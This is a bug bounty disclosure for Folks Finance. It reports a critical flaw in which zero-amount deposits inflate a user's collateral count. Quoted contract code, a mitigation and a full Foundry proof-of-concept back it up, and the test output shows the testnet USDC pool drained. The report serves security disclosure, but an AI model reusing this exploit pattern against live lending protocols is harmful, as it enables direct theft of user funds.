Boost _ Folks Finance 33780 - [Smart Contract - Critical] Zero deposits can be used to artificially inflate a users collateral value allowing them to borrow excess funds
Submitted on Mon Jul 29 2024 08:52:14 GMT-0400 (Atlantic Standard Time) by @JCN2023 for Boost | Folks Finance
Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Description
Brief/Intro
A malicious user can leverage null deposits to artificially expand the number of their open collateral positions for a specific poolId. They can then perform a valid deposit, which will result in their total collateral value equaling actual_deposit * num_open_positions_poolId. This allows the malicious user to then borrow an excessive amount since their collateral value has been inflated. With proper inputs and enough capital (or leveraging flashloans), the malicious user can steal a large amount of funds from any pool (funds stolen will be capped by the borrow cap for each pool).
Bug Description
Ignoring cross-chain components, the execution flow for deposits are as follows: SpokeToken::deposit -> router/adapter/hub interactions -> LoanManager::deposit -> LoanManagerLogic::executeDeposit -> UserLoanLogic::increaseCollateral.
The bug exists in the last step of the above flow:
20:functionincreaseCollateral(LoanManagerState.UserLoanstorage loan,uint8 poolId,uint256 fAmount) external {21:// if the balance was prev zero, add pool to list of user loan collaterals22:if (loan.collaterals[poolId].balance ==0) loan.colPools.push(poolId);23:24: loan.collaterals[poolId].balance += fAmount;25: }
As we can see above, the increaseCollateral function does not validate the fAmount. Therefore, this fAmount can be equal to 0 and if the user has not performed an actual deposit yet then line 22 will expand the user's collateral positions array by pushing the poolId to the array. A user can therefore perform multiple null deposits in order to push the poolId to their collateral positions array multiple times. The user can then perform a valid deposit, which will increase their collateral balance on line 24.
To understand how this enables the user to exploit the protocol we will look at the health check that is performed at the end of a borrow operation:
301: if (!userLoan.isLoanOverCollateralized(pools, loanType.pools, oracleManager)) // @audit: health check -> compute total collateral value for borrower
302:revertUnderCollateralizedLoan(params.loanId);
216:functiongetLoanLiquidity(217: LoanManagerState.UserLoanstorage loan,218: mapping(uint8 => IHubPool) storagepools,219: mapping(uint8 => LoanManagerState.LoanPool) storageloanPools,220: IOracleManageroracleManager221: ) internalviewreturns (DataTypes.LoanLiquidityParamsmemory loanLiquidity) {222:// declare common variables223:uint256 effectiveValue;224:uint256 balance;225:uint8 poolId;226:uint256 poolsLength;227: DataTypes.PriceFeed memory priceFeed;228:229:// calc effective collateral value230: poolsLength = loan.colPools.length; // @audit: num of open collateral positions231:for (uint8 i =0; i < poolsLength; i++) {232: poolId = loan.colPools[i]; // @audit: same poolId loaded multiple times233:234: balance = loan.collaterals[poolId].balance.toUnderlingAmount( // @audit: balance loaded for same poolId multiple times
235: pools[poolId].getUpdatedDepositInterestIndex()236: );237: priceFeed = oracleManager.processPriceFeed(poolId);238: effectiveValue += MathUtils.calcCollateralAssetLoanValue(239: balance,240: priceFeed.price,241: priceFeed.decimals,242: loanPools[poolId].collateralFactor243: );244: }245: loanLiquidity.effectiveCollateralValue = effectiveValue; // @audit: collateral value = balance_poolId * num_positions_poolId
As we can see above, the getLoanLiquidity function will iterate over all of the open collateral positions for the user's loan and then sum the user's balance for each poolId seen in the array. If the user had previously performed 10 null deposits (prior to their actual deposit for poolId), then the same poolId will have been added to the array 11 times. Therefore, the user's collateral value for the poolId will effectively be multiplied by 11. This will allow the user to borrow much more than they should be able to.
Impact
A malicious user can steal funds from any pool. However, note that the amount they can steal is bounded by the configured borrow cap for the pool.
Recommended Mitigation
I would recommend requiring deposits to be greater than 0.
Proof of concept
For simplicity, I have chosen to showcase how a user can drain a pool on the Hub chain by initiating operations on the Hub chain itself via the HubAdapter, and therefore all actions occur on one chain. However, note that a malicious user is able to perform this exploit via cross-chain operations as well.
To run foundry POC:
add test file to test/ directory of a foundry repo
add AVAX_FUJI_RPC_URL variable as environment var or in .env file
run test with forge test --mc FolksPOC_StealFunds -vvv
// SPDX-License-Identifier: UNLICENSEDpragmasolidity ^0.8.13;import {Test, console} from"forge-std/Test.sol";interface IERC20 {functionbalanceOf(address owner) externalviewreturns (uint256);functionapprove(address spender,uint256 amount) externalreturns (bool);}interface IHUB {functionloanManager() externalviewreturns (address);}interface IHubPool {functiongetPoolId() externalviewreturns (uint8);}interface ISpoke {structMessageParams {uint16 adapterId; uint16 returnAdapterId; uint256 receiverValue; uint256 gasLimit; uint256 returnGasLimit; }functiondeposit(MessageParamsmemory params,bytes32 accountId,bytes32 loanId,uint256 amount) externalpayable;functioncreateAccount(MessageParamsmemory params,bytes32 accountId,bytes32 refAccountId) externalpayable; function createLoan(MessageParams memory params, bytes32 accountId, bytes32 loanId, uint16 loanTypeId, bytes32 loanName) external payable;
function borrow(MessageParams memory params, bytes32 accountId, bytes32 loanId, uint8 poolId, uint16 chainId, uint256 amount, uint256 maxStableRate) external payable;
}interface ILoanManager {structUserLoanCollateral {uint256 balance; uint256 rewardIndex; }structUserLoanBorrow {uint256 amount; uint256 balance; uint256 lastInterestIndex;uint256 stableInterestRate; uint256 lastStableUpdateTimestamp; uint256 rewardIndex; }functiongetUserLoan(bytes32 loanId) externalviewreturns (bytes32,uint16,uint8[] memory,uint8[] memory,UserLoanCollateral[] memory,UserLoanBorrow[] memory );}contractFolksPOC_StealFundsisTest {uint256 avaxTestnetFork;string AVAX_FUJI_RPC_URL = vm.envString("AVAX_FUJI_RPC_URL");addressconstant USDC =0x5425890298aed601595a70AB815c96711a31Bc65;addressconstant HUB_USDC_POOL =0x1968237f3a7D256D08BcAb212D7ae28fEda72c34;addressconstant HUB =0xaE4C62510F4d930a5C8796dbfB8C4Bc7b9B62140;addressconstant SPOKE_COMMON =0x6628cE08b54e9C8358bE94f716D93AdDcca45b00;addressconstant SPOKE_CIRCLE_TOKEN =0x89df7db4af48Ec7A84DE09F755ade9AF1940420b;functionsetUp() public { avaxTestnetFork = vm.createFork(AVAX_FUJI_RPC_URL); vm.selectFork(avaxTestnetFork); }functiontestStealFunds() public {// --- arbitrary block height for testing purposes --- // vm.rollFork(35069819);// --- set up hacker --- // // hacker addressaddress hacker =address(0x69420);// give hacker some starting usdc (can also leverage flashloan for initial capital requirement)uint256 hackerBalBefore =100e6;deal(USDC, hacker, hackerBalBefore);// --- hacker first creates account and loan --- // bytes32 accountId =bytes32(uint256(1111));bytes32 loanId =bytes32(uint256(2222));uint16 loanTypeId =2; ISpoke.MessageParams memory params = ISpoke.MessageParams({ adapterId:1, returnAdapterId:1, receiverValue:0, gasLimit:0, returnGasLimit:0 });// hacker creates account vm.startPrank(hacker);ISpoke(SPOKE_COMMON).createAccount(params, accountId,bytes32(0));// hacker creates loanISpoke(SPOKE_COMMON).createLoan(params, accountId, loanId, loanTypeId,bytes32(0));// pool balance before exploituint256 poolBalBefore =IERC20(USDC).balanceOf(HUB_USDC_POOL); // --- hacker performs null deposits to artificially expand their positions array and inflate deposit amount -- //
IERC20(USDC).approve(SPOKE_CIRCLE_TOKEN, hackerBalBefore);for (uint256 i; i <20; i++) { // articifially extend their collateral positions array with 20 null depositsISpoke(SPOKE_CIRCLE_TOKEN).deposit(params, accountId, loanId,0); }ISpoke(SPOKE_CIRCLE_TOKEN).deposit(params, accountId, loanId, hackerBalBefore); // deposit initial balance// hacker's collateral is inflated { ILoanManager.UserLoanCollateral[] memory collaterals;uint256 totalCollateralAmount;address loanManager =IHUB(HUB).loanManager(); (,,,, collaterals, ) =ILoanManager(loanManager).getUserLoan(loanId);for (uint256 i; i < collaterals.length; i++) { ILoanManager.UserLoanCollateral memory collateral = collaterals[i]; totalCollateralAmount += collateral.balance; } assertEq(totalCollateralAmount, collaterals[0].balance * 21); // total collateral amount is valued 21 times more than their actual collateral deposit
}// --- hacker borrows all tokens from the pool --- // uint8 poolId =IHubPool(HUB_USDC_POOL).getPoolId();uint16 chainId =1; ISpoke(SPOKE_COMMON).borrow(params, accountId, loanId, poolId, chainId, IERC20(USDC).balanceOf(HUB_USDC_POOL), uint256(0));
vm.stopPrank();// pool balance after exploituint256 poolBalAfter =IERC20(USDC).balanceOf(HUB_USDC_POOL);// hacker balance after exploituint256 hackerBalAfter =IERC20(USDC).balanceOf(hacker); console.log("Hacker's balance before exploit: %s", hackerBalBefore); console.log("Pool's balance before exploit: %s", poolBalBefore); console.log("---"); console.log("Hacker's balance after exploit: %s", hackerBalAfter); console.log("Pool's balance after exploit: %s", poolBalAfter); }}
Output from test:
Ran 1 test for test/FolksPOC_StealFunds.t.sol:FolksPOC_StealFunds[PASS] testStealFunds() (gas: 5621522)Logs: Hacker's balance before exploit: 100000000 Pool's balance before exploit: 1387504545--- Hacker's balance after exploit: 1487504545 Pool's balance after exploit: 0